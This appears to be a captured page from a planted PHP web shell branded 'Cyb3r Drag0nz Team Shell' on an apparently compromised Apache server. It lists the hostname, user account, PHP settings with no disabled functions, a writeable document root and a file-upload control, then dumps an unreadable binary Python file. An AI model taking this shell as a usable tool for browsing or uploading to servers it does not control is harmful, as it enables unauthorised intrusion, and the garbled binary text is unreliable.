Google

Cyb3r Drag0nz Team Shell

Server : Apache
System : Linux server1.cbinetwhm.bi 4.18.0-553.123.1.el8_10.x86_64 #1 SMP Tue May 5 04:00:43 EDT 2026 x86_64
User : fenacobu (1017)
PHP Version : 8.1.34
Disable Functions : NONE
Current Directory : /lib64/python2.7/Tools/scripts/
Directory Status: Not Writeable | Document Root: Writeable

Upload File







Viewing: //lib64/python2.7/Tools/scripts/serve.pyo

�
�fc@s�dZddlZddlZddlZddlmZmZd�Zedkr�ej	dZ
eej	�dkr�eej	d�ndZ
ejd	e
e�Zd
e
e
fGHyej�Wq�ek
r�dGHq�XndS(s

Small wsgiref based web server. Takes a path to serve from and an
optional port number (defaults to 8000), then tries to serve files.
Mime types are guessed from the file names, 404 errors are raised
if the file is not found. Used for the make serve target in Doc.
i����N(t
simple_servertutilcCs�tjjt|dd�}d|jtjj�dkrTtjj|d�}ntj|�d}tjj|�r�|dd|fg�tj	t
|��S|d	dg�dgSdS(
Nt	PATH_INFOit.i����s
index.htmlis200 OKsContent-Types
404 Not Founds
text/plains	not found(sContent-Types
text/plain(tostpathtjointsplittsept	mimetypest
guess_typetexistsRtFileWrappertopen(tenvirontrespondtfnttype((s+/usr/lib64/python2.7/Tools/scripts/serve.pytapp
st__main__iii@ts(Serving %s on port %s, control-C to stopsShutting down.(t__doc__tsysRR	twsgirefRRRt__name__targvRtlentinttporttmake_serverthttpdt
serve_forevertKeyboardInterrupt(((s+/usr/lib64/python2.7/Tools/scripts/serve.pyt<module>s	
.


Cyb3r Drag0nz Team • Google Edition